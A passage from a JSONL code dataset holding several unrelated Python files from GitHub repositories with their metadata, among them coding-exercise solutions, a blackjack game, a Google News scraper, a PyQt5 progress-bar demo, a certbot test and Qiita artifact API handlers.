!= 1:\n n = sum(int(i) ** 2 for i in str(n))\n if n in my_set:\n return False\n my_set.add(n)\n return True\n\n\nn = 19\nprint(is_happy(n))\n","repo_name":"singhk1/PythonCode","sub_path":"Python Code/DailyCoding/HappyNumber.py","file_name":"HappyNumber.py","file_ext":"py","file_size_in_byte":214,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"1790304585","text":"class Solution:\n def assignTasks(self, servers: List[int], tasks: List[int]) -> List[int]:\n # two heaps, one for avail, one for unavaila\n res = [0] * len(tasks)\n \n available = [(servers[i], i) for i in range(len(servers))]\n heapq.heapify(available)\n unavailable = []\n t = 0\n for i in range(len(tasks)):\n # as time can be more than i \n t = max(t, i)\n \n if len(available) == 0:\n # advance time to min time when server becomes available\n t = unavailable[0][0]\n # put all available servers from unavail heap\n while unavailable and unavailable[0][0] <= t:\n time_free, weight, index = heapq.heappop(unavailable)\n heapq.heappush(available, (weight, index))\n \n weight, index = heapq.heappop(available)\n heapq.heappush(unavailable, (tasks[i] + t, weight, index))\n res[i] = index\n # t += 1\n return res","repo_name":"aygupta9800/Leetcode","sub_path":"Searching and Sorting/Heap/1.9-1882-process-tasks-using-servers.py","file_name":"1.9-1882-process-tasks-using-servers.py","file_ext":"py","file_size_in_byte":1043,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"2636672797","text":"from openpyxl import load_workbook\nimport re\n\nwb = load_workbook(\"Zulker 28_42.xlsx\") # open an Excel file and return a workbook\nunivName = \"Loyola University New Orleans\" \ncourseCodeString = \"CSCI\" \nif univName in wb.sheetnames:\n print(univName+' exists')\n\nelse:\n wb.create_sheet(univName)\n\nactivesheet = wb[univName]\n\nif(activesheet[\"A1\"]!=\"Course No\"):\n #activesheet.append((\"Course No\",\"Course Name\"))\n activesheet[\"A1\"]=\"Course No\"\n activesheet[\"B1\"]=\"Course Name\"\n\nprevline=\"\"\ncourseCode=[]\nduplicateCount=0\ntempcode=\"\"\ntempcode=\"\"\n\nwith open('temp.txt',encoding=\"utf8\") as f:\n lines = f.readlines()\n for i in range(0, len(lines)):\n line = lines[i] \n if True :\n \n #if(\"EN.\" in line[:4]):\n ##hipposi = tmpstr.find(\".\")+7\n #new_str, rest = test_str.split(\" \", K)\n tempcode = line[:line.find(\",\")]\n tempName = line[line.find(\",\")+1:]\n\n \"\"\"\n tempcode = line[:8]\n \n tempName = line[8:]\n if(\"(\" in tempName[:2]):\n tempName = tempName[tempName.find(\")\")+1:]\n #tempName = tempName[:tempName.find(\".\")]\n #print(\"before tempcod \"+tempcode)\n \"\"\"\n \"\"\"\n if(\"(\" in tempName):\n \n tempName = tempName[tempName.find(\")\")+1:]\n #print(\"AFTER tempname \"+tempName)\n first_digit = re.search('\\d', tempName)\n # print(first_digit.start())\n tempName = tempName[:first_digit.start()]\n #elif(\"CSCI-C\" in line[:7]):\n tmpstr = line[5:]\n hipposi = tmpstr.find(\"-\")+5\n tempcode = \"CSCI-\"+line[5:hipposi]\n tempName = line[hipposi+1:]\n #else:\n tempcode = line[:line.find(\"-\")]\n tempName = line[line.find(\"-\")+1:]\n \n if(tempcode in courseCode):\n print(\"duplicate for : \"+line+\" total duplicate \"+str(duplicateCount))\n duplicateCount+=1\n continue\n \"\"\"\n if(tempName[0]==\" \"):\n tempName = tempName[1:]\n courseCode.append(tempcode)\n activesheet.append((tempcode,tempName))\n\n # break\n print(tempcode+\" hehe \"+tempName)\n prevline = line\n \nf.close()\n\nwb.save('temp.xlsx')\nwb.close()","repo_name":"zulker01/pythonScript","sub_path":"extractData.py","file_name":"extractData.py","file_ext":"py","file_size_in_byte":2607,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"30744399336","text":"############### Blackjack Project #####################\n\n############### Our Blackjack House Rules #####################\n\n## The deck is unlimited in size. \n## There are no jokers. \n## The Jack/Queen/King all count as 10.\n## The the Ace can count as 11 or 1.\n## Use the following list as the deck of cards:\n## cards = [11, 2, 3, 4, 5, 6, 7, 8, 9, 10, 10, 10, 10]\n## The cards in the list have equal probability of being drawn.\n## Cards are not removed from the deck as they are drawn.\n## The computer is the dealer.\n################################################################\nimport random\nimport replit\nfrom art import logo \n\ndef deal_card():\n cards = [11, 2, 3, 4, 5, 6, 7, 8, 9, 10, 10, 10, 10]\n return random.choice(cards)\n\ndef calculate_score(card_list):\n if sum(card_list) == 21 and len(card_list) == 2:\n return 0\n elif sum(card_list) > 21 and 11 in card_list:\n card_list.remove(11)\n card_list.append(1)\n return sum(card_list)\n return sum(card_list)\n\n#Create a function called compare() and pass in the user_score and computer_score. If the computer and user both have the same score, then it's a draw. If the computer has a blackjack (0), then the user loses. If the user has a blackjack (0), then the user wins. If the user_score is over 21, then the user loses. If the computer_score is over 21, then the computer loses. If none of the above, then the player with the highest score wins.\ndef compare(user_score, dealer_score):\n if user_score == dealer_score:\n print(f\"Draw! 🙃\")\n elif dealer_score == 0:\n print(f\"You Lose! Dealer has Blackjack 😵\")\n elif user_score == 0:\n print(f\"You got Blackjack! You Win! 😎\")\n elif user_score > 21:\n print(f\"You overdrew! You Lose! 🤯\")\n elif dealer_score > 21:\n print(f\"Dealer overdrew! You Win! 🤭\")\n elif dealer_score > user_score:\n print(f\"You Lose! Dealer score is higher! 🥺\")\n else:\n print(f\"You Win! Your score is higher! 😁\")\n \n \n\ndef play_game():\n user_cards = []\n dealer_cards = []\n\n print(logo)\n \n for _ in range(2):\n user_cards.append(deal_card())\n dealer_cards.append(deal_card())\n\n game_end = False\n while not game_end:\n user_score = calculate_score(user_cards)\n dealer_score = calculate_score(dealer_cards)\n print(f\"Your cards: {user_cards}, current score {user_score}\")\n print(f\"Dealer's first card: [{dealer_cards[0]}]\")\n #Game End Condition if blackjack by dealer\n if user_score == 0 or dealer_score == 0 or user_score > 21:\n game_end = True\n else:\n draw_choice = input(\"Do you want to draw another card? Type 'y' for yes or 'n' for no: \").lower()\n if draw_choice == 'y':\n user_cards.append(deal_card())\n else:\n game_end = True\n \n while dealer_score < 17 and dealer_score != 0 and user_score < 22:\n dealer_cards.append(deal_card())\n dealer_score = calculate_score(dealer_cards)\n print(f\"Your final hand: {user_cards}, final score {user_score}\")\n print(f\"Dealer's final hand: {dealer_cards}, final score {dealer_score}\")\n compare(calculate_score(user_cards), calculate_score(dealer_cards))\n \nwhile input(\"Do you want to play a game of Blackjack? Type 'y' for yes or 'n' for no: \") == \"y\":\n replit.clear()\n play_game()\n\n\n\n","repo_name":"cmecinski/Day-11-capstone-blackjack","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3238,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"37411249615","text":"\"\"\"Test certbot_apache.display_ops.\"\"\"\nimport unittest\n\nfrom certbot.display import util as display_util\n\nfrom certbot.tests import util as certbot_util\n\nfrom certbot_nginx import parser\n\nfrom certbot_nginx.display_ops import select_vhost_multiple\nfrom certbot_nginx.tests import util\n\n\nclass SelectVhostMultiTest(util.NginxTest):\n \"\"\"Tests for certbot_nginx.display_ops.select_vhost_multiple.\"\"\"\n\n def setUp(self):\n super(SelectVhostMultiTest, self).setUp()\n nparser = parser.NginxParser(self.config_path)\n self.vhosts = nparser.get_vhosts()\n\n def test_select_no_input(self):\n self.assertFalse(select_vhost_multiple([]))\n\n @certbot_util.patch_get_utility()\n def test_select_correct(self, mock_util):\n mock_util().checklist.return_value = (\n display_util.OK, [self.vhosts[3].display_repr(),\n self.vhosts[2].display_repr()])\n vhs = select_vhost_multiple([self.vhosts[3],\n self.vhosts[2],\n self.vhosts[1]])\n self.assertTrue(self.vhosts[2] in vhs)\n self.assertTrue(self.vhosts[3] in vhs)\n self.assertFalse(self.vhosts[1] in vhs)\n\n @certbot_util.patch_get_utility()\n def test_select_cancel(self, mock_util):\n mock_util().checklist.return_value = (display_util.CANCEL, \"whatever\")\n vhs = select_vhost_multiple([self.vhosts[2], self.vhosts[3]])\n self.assertFalse(vhs)\n\n\nif __name__ == \"__main__\":\n unittest.main() # pragma: no cover\n","repo_name":"MightyWing/certbot","sub_path":"certbot-nginx/certbot_nginx/tests/display_ops_test.py","file_name":"display_ops_test.py","file_ext":"py","file_size_in_byte":1548,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"1438934221","text":"# -*- coding: utf-8 -*-\n\nfrom setuptools import setup, find_packages\n\n\nwith open('README.rst') as f:\n readme = f.read()\n\nwith open('LICENSE') as f:\n license = f.read()\n\nsetup(\n name='vdp',\n version='0.1.0',\n description='Vision Data Processor for training image classifiers',\n long_description=readme,\n author='Patrick D. Weber',\n author_email='patrick310@gmail.com',\n url='https://github.com/patrick310/sc-vision',\n license=license,\n packages=find_packages(exclude=('tests', 'docs'))\n)","repo_name":"patrick310/sc-vision","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":519,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"18555778003","text":"# %% Load libraries\nfrom utilities import normalize_text as normalize\nimport time\nimport argparse\nimport nltk\nimport pandas as pd\nfrom newspaper import Article, ArticleException, Config\nfrom tqdm import tqdm\nfrom GoogleNews import GoogleNews\nfrom fake_useragent import UserAgent\nfrom datetime import datetime, timedelta\n\n\n# %% functions\ndef initial_config():\n nltk.download('punkt')\n\n\ndef get_article(url):\n ua = UserAgent()\n config = Config()\n config.browser_user_agent = ua.random\n config.request_timeout = 10\n article = Article(url, config=config)\n article.download()\n article.parse()\n article.nlp()\n return article\n\n\ndef search_google_news(search, search_start_date, search_end_date, no_pages):\n df = None\n googlenews = GoogleNews(start=search_start_date, end=search_end_date, lang='en')\n googlenews.enableException(True)\n countdown = no_pages\n # error_count = 0\n for i in tqdm(range(1, no_pages+1), desc=\"Getting news pages\", unit=\"pages\", position=0, leave=True, ncols=100,\n bar_format='{l_bar}{bar}|{n_fmt}/{total_fmt} Pages'):\n\n try:\n result = None\n tqdm.write(f\"Getting page {i} of possible {no_pages} pages...\")\n if i == 1:\n googlenews.search(search)\n result = googlenews.result()\n else:\n result = googlenews.page_at(i)\n\n if result is None:\n tqdm.write(\"No more results returned\")\n break\n elif len(result) == 0:\n tqdm.write(\"No more news found\")\n break\n else:\n if df is None:\n df = pd.DataFrame(result)\n else:\n df = pd.concat([df, pd.DataFrame(result)], ignore_index=True)\n\n # add time.sleep to delay the requests for getpage(i)\n rest = 5\n countdown -= 1\n tqdm.write(f\"Giving Google a {rest} seconds pause ....{countdown} pages left\")\n time.sleep(rest)\n # except Exception as e:\n except Exception:\n tqdm.write(\"We have an error either no more pages or you are blocked. Exiting...\")\n break\n # print(type(e))\n # print(str(e))\n # error_count += 1\n # if error_count > 2:\n # print (\"\\nToo many errors. Exiting...\")\n # break\n\n return df if df is not None else None\n\n\ndef populate_def_df(news_items_df, search_crop):\n # create dataframe\n data_list = list()\n num_of_failures = 0\n total_articles = len(news_items_df)\n for index, row in tqdm(news_items_df.iterrows(), desc=\"Getting news articles\", unit=\"articles\",\n total=total_articles, position=0, leave=True, ncols=100,\n bar_format='{l_bar}{bar}|{n_fmt}/{total_fmt} Articles'):\n # enclose the code block below in a try-except block to catch any errors\n try:\n if row['title'] and not row['title'].isspace() and row['title'] != '\"':\n tqdm.write(f\"Getting article: {row['link']}\")\n article = get_article(row['link'])\n row = {\"Crop\": search_crop,\n \"Date\": row['date'],\n \"URL\": row['link'],\n \"Title\": row['title'],\n \"Summary\": article.summary,\n \"Text\": normalize(article.text),\n \"Keywords\": article.keywords}\n data_list.append(row)\n except ArticleException as ae:\n # Handle specific ArticleException\n tqdm.write(f\"**Error : {str(ae)}\")\n num_of_failures += 1\n except Exception as e:\n tqdm.write(f\"**Error getting : {row['link']} - Error Message:{str(e)} - Error Class:{type(e)}\")\n num_of_failures += 1\n continue\n\n print((\n f\"{total_articles - num_of_failures} out of {total_articles} \"\n f\"({round((total_articles - num_of_failures) / total_articles * 100, 2)}%) \"\n \"articles downloaded. \"\n f\"{num_of_failures} downloads failed.\"\n ))\n\n return pd.DataFrame.from_records(data_list)\n\n\n# %% main\ndef main(search_crop, search_string, start_date, end_date, page_size):\n # initialize\n initial_config()\n\n # search for the papers\n print(\"\\nsearching for news relating to \", search_crop, \"...\\n\")\n news_items = search_google_news(search_string, start_date, end_date, page_size)\n print(\"search complete.\")\n\n # populate the dataframe\n print(\"populating dataframe with news items...\")\n # check if news_items is not None then populate\n news_df = None\n if news_items is not None:\n news_df = populate_def_df(news_items, search_crop)\n print(\"dataframe populated.\")\n\n # save the dataframe\n if news_df is not None:\n print(\"saving dataframe...\")\n filename = \"data/\" + search_crop + \"_News_Output.xlsx\"\n print(\"saving the dataframe to file...\", filename)\n news_df.to_excel(filename, index=False, engine='xlsxwriter')\n\n\n# %% test\n# # %% add search parameters\n# searchCrop = \"Sweetpotato\"\n# searchString = '\"sweet potato\" and sweetpotato crop disease'\n# startDate = '01/01/1992'\n# endDate = '22/05/2023'\n# pageSize = 50\n# main(\"Sweetpotato\", '\"sweet potato\" and sweetpotato crop disease', '01/01/1992', '22/05/2023', 2)\n\n# %% call main\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(description='Download news articles from Google News')\n parser.add_argument('-c', '--crop', type=str, required=True, help='Crop name')\n parser.add_argument('-s', '--search', type=str, required=True, help='Search string')\n parser.add_argument('-sd', '--startdate', type=str, help='Start date',\n default=(datetime.today() - timedelta(days=30)).strftime(\"%d/%m/%Y\"))\n parser.add_argument('-ed', '--enddate', type=str, help='End date', default=datetime.today().strftime(\"%d/%m/%Y\"))\n parser.add_argument('-p', '--pagesize', type=int, help='Page size', default=1)\n args = parser.parse_args()\n\n main(args.crop, args.search, args.startdate, args.enddate, args.pagesize)\n","repo_name":"Kaboi/PDPDataUtils","sub_path":"data_acquisition/download_news.py","file_name":"download_news.py","file_ext":"py","file_size_in_byte":6202,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"37944582589","text":"\"\"\"\r\n\r\nImplemente uma função que, dada uma frase cujos espaços foram retirados, \r\ntenta recuperar a dita frase. Para além da frase (sem espaços nem pontuação), \r\na função recebe uma lista de palavras válidas a considerar na reconstrução \r\nda dita frase. Deverá devolver a maior frase que pode construir inserindo\r\nespaços na string de entrada e usando apenas as palavras que foram indicadas \r\ncomo válidas. Por maior entende-se a que recupera o maior prefixo da string\r\nde entrada. Só serão usados testes em que a maior frase é única.\r\n\r\n\"\"\"\r\npalavras1 = [\"e\", \"o\", \"so\", \"maior\", \"este\", \"curso\", \"urso\", \"es\", \"maio\"]\r\npalavras2 = [\"o\", \"oga\", \"ga\", \"gato\", \"gatom\", \"mia\",\r\n \"eava\", \"ava\", \"e\", \"a\", \"va\", \"vaca\", \"mu\", \"muge\"]\r\n\r\n\r\ndef espaca(frase, palavras):\r\n n = len(frase)\r\n cache = [\"\" for x in range(n+1)]\r\n\r\n for x in range(n):\r\n for y in range(x+1, n+1):\r\n pal = frase[x:y]\r\n if pal in palavras:\r\n ant = cache[x]\r\n if not cache[y]:\r\n cache[y] = ant + \" \"*(ant != \"\") + pal\r\n return cache[n]\r\n\r\n\r\nprint(espaca(\"ogatomiaeavacamuge\", palavras2))\r\n\r\n# def test_espaca_1(self):\r\n# with test_timeout(self,2):\r\n# palavras = [\"e\",\"o\",\"so\",\"maior\",\"este\",\"curso\",\"urso\",\"es\",\"maio\"]\r\n# self.assertEqual(espaca(\"estecursoeomaior\",palavras),\"este curso e o maior\")\r\n#\r\n# def test_espaca_2(self):\r\n# with test_timeout(self,2):\r\n# palavras = [\"o\",\"oga\",\"ga\",\"gato\",\"gatom\",\"mia\",\"eava\",\"ava\",\"e\",\"a\",\"va\",\"vaca\",\"mu\",\"muge\"]\r\n# self.assertEqual(espaca(\"ogatomiaeavacamuge\",palavras),\"o gato mia e a vaca muge\")\r\n","repo_name":"rubensilva091/Python","sub_path":"LA2/Treino 3/espaca80%.py","file_name":"espaca80%.py","file_ext":"py","file_size_in_byte":1667,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"10855889790","text":"#!/usr/bin/python3\n# -*- coding: utf-8 -*-\n\n\"\"\"\nZetCode PyQt5 tutorial\n\nThis example shows a QProgressBar widget.\n\nAuthor: Jan Bodnar\nWebsite: zetcode.com\nLast edited: August 2017\n\"\"\"\n'''\n进度条是用来展示任务进度的(我也不想这样说话)。它的滚动能让用户了解到任务的进度。\nQProgressBar组件提供了水平和垂直两种进度条,进度条可以设置最大值和最小值,\n默认情况是0~99。\n'''\n\nfrom PyQt5.QtWidgets import (QWidget,QProgressBar,\n QPushButton,QApplication)\nfrom PyQt5.QtCore import QBasicTimer\nimport sys\n# 我们创建了一个水平的进度条和一个按钮,这个按钮控制进度条的开始和停止。\nclass Example(QWidget):\n def __init__(self):\n super().__init__()\n\n self.initUI()\n\n def initUI(self):\n\n #进度条首先将self作为参数传递进去,否则在窗体上显示不出来(QPushbutton,QProgressBar)\n # 新建一个QProgressBar构造器。\n self.pbar = QProgressBar(self)\n self.pbar.setGeometry(30,40,200,25)\n\n self.btn = QPushButton('Start',self)\n self.btn.move(40,80)\n self.btn.clicked.connect(self.docAction)\n # The QBasicTimer class provides timer events for objects 计时器事件\n # 功能单一,需要一个截止时间和\n self.timer =QBasicTimer()\n self.step = 0\n\n self.setGeometry(300,300,280,170)\n self.setWindowTitle('OProgressBar')\n self.show()\n\n def timerEvent(self,e):\n# 每个QObject和又它继承而来的对象都有一个timerEvent()事件处理函数。为了触发事件,我们重载了这个方法。\n if self.step >= 100:\n\n self.timer.stop() #计时器停止\n self.btn.setText('Finished')\n return\n # 改写时间事件循环,并将时间和step联系在一起\n\n self.step = self.step + 1\n self.pbar.setValue(self.step) # 进度条的槽,传进去一个整数值\n\n def docAction(self):\n\n if self.timer.isActive():\n # 如果时间对象是激活状态,则时间停止,并将按钮文字改为开始\n self.timer.stop()\n self.btn.setText('Start')\n else: # 如果时间对象的状态不是激活,则将时间开启\n # 时间对象,开始和停止,自身是在计算的\n # 调用start()方法加载一个时间事件。这个方法有两个参数:过期时间和事件接收者。\n self.timer.start(100,self)#100毫秒超时启动或重启一个计时器,绑定对象将获得一个计时器事件\n self.btn.setText('Stop')\n\nif __name__ == '__main__':\n\n app = QApplication(sys.argv)\n ex = Example()\n sys.exit(app.exec_())","repo_name":"klandhu/PyQt5learn","sub_path":"6.4QProgressBar_进度条.py","file_name":"6.4QProgressBar_进度条.py","file_ext":"py","file_size_in_byte":2775,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"18741309992","text":"\ndef word_combine(s1):\n i = 0\n j = 1\n\n s1 = s1.strip().lower()\n word_list = []\n\n while j < len(s1):\n if s1[i].isalpha() and s1[j].isalpha():\n word_list.append(s1[i] + s1[j])\n i = j\n j += 1\n\n return word_list\n\n\ndef word_count(l1):\n l2 = dict()\n\n for i in l1:\n l2[i] = l2.get(i, 0) + 1\n return l2\n\ndef inter_uni(liter):\n intersec = 0\n union = 0\n for k in liter:\n i = l1.get(k, 0)\n j = l2.get(k, 0)\n if i != 0 and j != 0: # intersection\n intersec += min(i, j)\n union += max(i, j)\n elif i == 0 and j != 0:\n union += j\n elif i != 0 and j == 0:\n union += i\n\n if intersec == 0 or union == 0:\n print(65536)\n else:\n print(intersec / union * 65536)\n\n\n# s1 = 'FRANCE'\n# s2 = 'french'\n\ns1 = \"E=M*C^2\"\ns2 = \"e=m*c^2\"\n\nword_list1 = word_combine(s1)\nword_list2 = word_combine(s2)\n\n\nl1 = word_count(word_list1)\nl2 = word_count(word_list2)\nliter = set(list(l1.keys()) + list(l2.keys()))\n\ninter_uni(liter)\n","repo_name":"SungGV/algorithmPractice","sub_path":"algorithms/kakao/kakao1_5.py","file_name":"kakao1_5.py","file_ext":"py","file_size_in_byte":1063,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"24821471261","text":"import bloop_comms\n\nip = '127.0.0.1'\nrecv_port = 7778\nsend_port = 7777\n\nudp_ep = bloop_comms.udp_endpoint(ip, send_port, ip, recv_port)\n\ndone = False\nwhile not done:\n # get the user input\n mesg = raw_input('What would you like to send? ')\n\n # send it\n sent = udp_ep.send(mesg)\n print('sent {0} bytes'.format(sent))\n\n # quit if needed\n if mesg in {'exit', 'quit'}:\n done = True\n\nudp_ep.disconnect()\n","repo_name":"badgerloop-software/pod3","sub_path":"server/test_udp_client.py","file_name":"test_udp_client.py","file_ext":"py","file_size_in_byte":426,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"78"} +{"seq_id":"2141478772","text":"from os.path import join\nfrom functools import partial\nfrom json import dumps\n\nfrom itertools import chain\n\nfrom qiita_core.util import execute_as_transaction\nfrom qiita_core.qiita_settings import qiita_config, r_client\nfrom qiita_pet.handlers.api_proxy.util import check_access, check_fp\nfrom qiita_db.artifact import Artifact\nfrom qiita_db.user import User\nfrom qiita_db.metadata_template.prep_template import PrepTemplate\nfrom qiita_db.util import (\n get_mountpoint, get_visibilities, get_artifacts_information)\nfrom qiita_db.software import Command, Parameters, Software\nfrom qiita_db.processing_job import ProcessingJob\nfrom qiita_db.exceptions import QiitaDBError\nfrom qiita_db.logger import LogEntry\n\nPREP_TEMPLATE_KEY_FORMAT = 'prep_template_%s'\n\n\ndef artifact_get_req(user_id, artifact_id):\n \"\"\"Returns all base information about an artifact\n\n Parameters\n ----------\n user_id : str\n user making the request\n artifact_id : int or str coercable to int\n Atrtifact to get information for\n\n Returns\n -------\n dict of objects\n A dictionary containing the artifact information\n {'status': status,\n 'message': message,\n 'artifact': {info key: val, ...}}\n \"\"\"\n artifact_id = int(artifact_id)\n artifact = Artifact(artifact_id)\n\n access_error = check_access(artifact.study.id, user_id)\n if access_error:\n return access_error\n\n can_submit_ebi = artifact.can_be_submitted_to_ebi\n ebi_run_accessions = (artifact.ebi_run_accessions\n if can_submit_ebi else None)\n can_submit_vamps = artifact.can_be_submitted_to_vamps\n is_submitted_vamps = (artifact.is_submitted_to_vamps\n if can_submit_vamps else False)\n\n return {'id': artifact_id,\n 'timestamp': artifact.timestamp,\n 'processing_parameters': artifact.processing_parameters,\n 'visibility': artifact.visibility,\n 'type': artifact.artifact_type,\n 'data_type': artifact.data_type,\n 'filepaths': artifact.filepaths,\n 'parents': [a.id for a in artifact.parents],\n 'study': artifact.study.id if artifact.study else None,\n 'can_submit_ebi': can_submit_ebi,\n 'ebi_run_accessions': ebi_run_accessions,\n 'can_submit_vamps': can_submit_vamps,\n 'is_submitted_vamps': is_submitted_vamps}\n\n\n@execute_as_transaction\ndef artifact_get_prep_req(user_id, artifact_ids):\n \"\"\"Returns all prep info sample ids for the given artifact_ids\n\n Parameters\n ----------\n user_id : str\n user making the request\n artifact_ids : list of int\n list of artifact ids\n\n Returns\n -------\n dict of objects\n A dictionary containing the artifact information\n {'status': status,\n 'message': message,\n 'data': {artifact_id: [prep info sample ids]}\n \"\"\"\n samples = {}\n\n for aid in sorted(artifact_ids):\n artifact = Artifact(aid)\n access_error = check_access(artifact.study.id, user_id)\n if access_error:\n return access_error\n\n samples[aid] = list(chain(\n *[sorted(pt.keys()) for pt in Artifact(aid).prep_templates]))\n\n return {'status': 'success', 'msg': '', 'data': samples}\n\n\n@execute_as_transaction\ndef artifact_get_info(user_id, artifact_ids, only_biom=True):\n \"\"\"Returns all artifact info for the given artifact_ids\n\n Parameters\n ----------\n user_id : str\n user making the request\n artifact_ids : list of int\n list of artifact ids\n only_biom : bool\n If true only the biom artifacts are retrieved\n\n Returns\n -------\n dict of objects\n A dictionary containing the artifact information\n {'status': status,\n 'message': message,\n 'data': {artifact_id: {biom_info}}\n \"\"\"\n artifact_info = {}\n\n artifact_info = get_artifacts_information(artifact_ids, only_biom)\n\n return {'status': 'success', 'msg': '', 'data': artifact_info}\n\n\n@execute_as_transaction\ndef artifact_post_req(user_id, filepaths, artifact_type, name,\n prep_template_id, artifact_id=None):\n \"\"\"Creates the initial artifact for the prep template\n\n Parameters\n ----------\n user_id : str\n User adding the atrifact\n filepaths : dict of str\n Comma-separated list of files to attach to the artifact,\n keyed by file type\n artifact_type : str\n The type of the artifact\n name : str\n Name to give the artifact\n prep_template_id : int or str castable to int\n Prep template to attach the artifact to\n artifact_id : int or str castable to int, optional\n The id of the imported artifact\n\n Returns\n -------\n dict of objects\n A dictionary containing the new artifact ID\n {'status': status,\n 'message': message,\n 'artifact': id}\n \"\"\"\n prep_template_id = int(prep_template_id)\n prep = PrepTemplate(prep_template_id)\n study_id = prep.study_id\n\n # First check if the user has access to the study\n access_error = check_access(study_id, user_id)\n if access_error:\n return access_error\n\n user = User(user_id)\n\n if artifact_id:\n # if the artifact id has been provided, import the artifact\n qiita_plugin = Software.from_name_and_version('Qiita', 'alpha')\n cmd = qiita_plugin.get_command('copy_artifact')\n params = Parameters.load(cmd, values_dict={'artifact': artifact_id,\n 'prep_template': prep.id})\n job = ProcessingJob.create(user, params, True)\n else:\n uploads_path = get_mountpoint('uploads')[0][1]\n path_builder = partial(join, uploads_path, str(study_id))\n cleaned_filepaths = {}\n\n for ftype, file_list in filepaths.items():\n # JavaScript sends us this list as a comma-separated list\n for fp in file_list.split(','):\n # JavaScript will send this value as an empty string if the\n # list of files was empty. In such case, the split will\n # generate a single element containing the empty string. Check\n # for that case here and, if fp is not the empty string,\n # proceed to check if the file exists\n if fp:\n # Check if filepath being passed exists for study\n full_fp = path_builder(fp)\n exists = check_fp(study_id, full_fp)\n if exists['status'] != 'success':\n return {'status': 'error',\n 'message': 'File does not exist: %s' % fp}\n if ftype not in cleaned_filepaths:\n cleaned_filepaths[ftype] = []\n cleaned_filepaths[ftype].append(full_fp)\n\n # This should never happen, but it doesn't hurt to actually have\n # a explicit check, in case there is something odd with the JS\n if not cleaned_filepaths:\n return {'status': 'error',\n 'message': \"Can't create artifact, no files provided.\"}\n\n # This try/except will catch the case when the plugins are not\n # activated so there is no Validate for the given artifact_type\n try:\n command = Command.get_validator(artifact_type)\n except QiitaDBError as e:\n return {'status': 'error', 'message': str(e)}\n job = ProcessingJob.create(\n user,\n Parameters.load(command, values_dict={\n 'template': prep_template_id,\n 'files': dumps(cleaned_filepaths),\n 'artifact_type': artifact_type,\n 'name': name,\n 'analysis': None,\n }), True)\n\n # Submit the job\n job.submit()\n\n r_client.set(PREP_TEMPLATE_KEY_FORMAT % prep.id,\n dumps({'job_id': job.id, 'is_qiita_job': True}))\n\n return {'status': 'success', 'message': ''}\n\n\ndef artifact_types_get_req():\n \"\"\"Gets artifact types and descriptions available\n\n Returns\n -------\n dict of objects\n {'status': status,\n 'message': message,\n 'types': [[str, str], ...]}\n types holds type and description of the artifact type, in the form\n [[artifact_type, description], ...]\n \"\"\"\n return {'status': 'success',\n 'message': '',\n 'types': Artifact.types()}\n\n\ndef artifact_graph_get_req(artifact_id, direction, user_id):\n \"\"\"Creates graphs of ancestor or descendant artifacts from given one\n\n Parameters\n ----------\n artifact_id : int\n Artifact ID to get graph for\n direction : {'ancestors', 'descendants'}\n What direction to get the graph in\n\n Returns\n -------\n dict of lists of tuples\n A dictionary containing the edge list representation of the graph,\n and the node labels. Formatted as:\n {'status': status,\n 'message': message,\n 'edge_list': [(0, 1), (0, 2)...],\n 'node_labels': [(0, 'label0'), (1, 'label1'), ...]}\n\n Notes\n -----\n Nodes are identified by the corresponding Artifact ID.\n \"\"\"\n access_error = check_access(Artifact(artifact_id).study.id, user_id)\n if access_error:\n return access_error\n\n if direction == 'descendants':\n G = Artifact(int(artifact_id)).descendants\n elif direction == 'ancestors':\n G = Artifact(int(artifact_id)).ancestors\n else:\n return {\n 'status': 'error',\n 'message': 'Unknown directon %s' % direction\n }\n\n node_labels = [(n.id, ' - '.join([n.name, n.artifact_type]))\n for n in G.nodes()]\n return {'edge_list': [(n.id, m.id) for n, m in G.edges()],\n 'node_labels': node_labels,\n 'status': 'success',\n 'message': ''}\n\n\ndef artifact_status_put_req(artifact_id, user_id, visibility):\n \"\"\"Set the status of the artifact given\n\n Parameters\n ----------\n artifact_id : int\n Artifact being acted on\n user_id : str\n The user requesting the action\n visibility : {'sandbox', 'awaiting_approval', 'private', 'public'}\n What to change the visibility to\n\n Returns\n -------\n dict\n Status of action, in the form {'status': status, 'message': msg}\n status: status of the action, either success or error\n message: Human readable message for status\n \"\"\"\n if visibility not in get_visibilities():\n return {'status': 'error',\n 'message': 'Unknown visibility value: %s' % visibility}\n\n pd = Artifact(int(artifact_id))\n sid = pd.study.id\n access_error = check_access(sid, user_id)\n if access_error:\n return access_error\n user = User(str(user_id))\n status = 'success'\n msg = 'Artifact visibility changed to %s' % visibility\n # Set the approval to private if needs approval and admin\n if visibility == 'private':\n if not qiita_config.require_approval:\n pd.visibility = 'private'\n # Set the approval to private if approval not required\n elif user.level == 'admin':\n pd.visibility = 'private'\n # Trying to set approval without admin privileges\n else:\n status = 'error'\n msg = 'User does not have permissions to approve change'\n else:\n pd.visibility = visibility\n\n LogEntry.create('Warning', '%s changed artifact %s (study %d) to %s' % (\n user_id, artifact_id, sid, visibility))\n\n return {'status': status,\n 'message': msg}\n","repo_name":"qiita-spots/qiita","sub_path":"qiita_pet/handlers/api_proxy/artifact.py","file_name":"artifact.py","file_ext":"py","file_size_in_byte":11621,"program_lang":"python","lang":"en","doc_type":"code","stars":117,"dataset":"github-code","pt":"78"} +{"seq_id":"1770710691","text":"from flask import Flask, render_template, 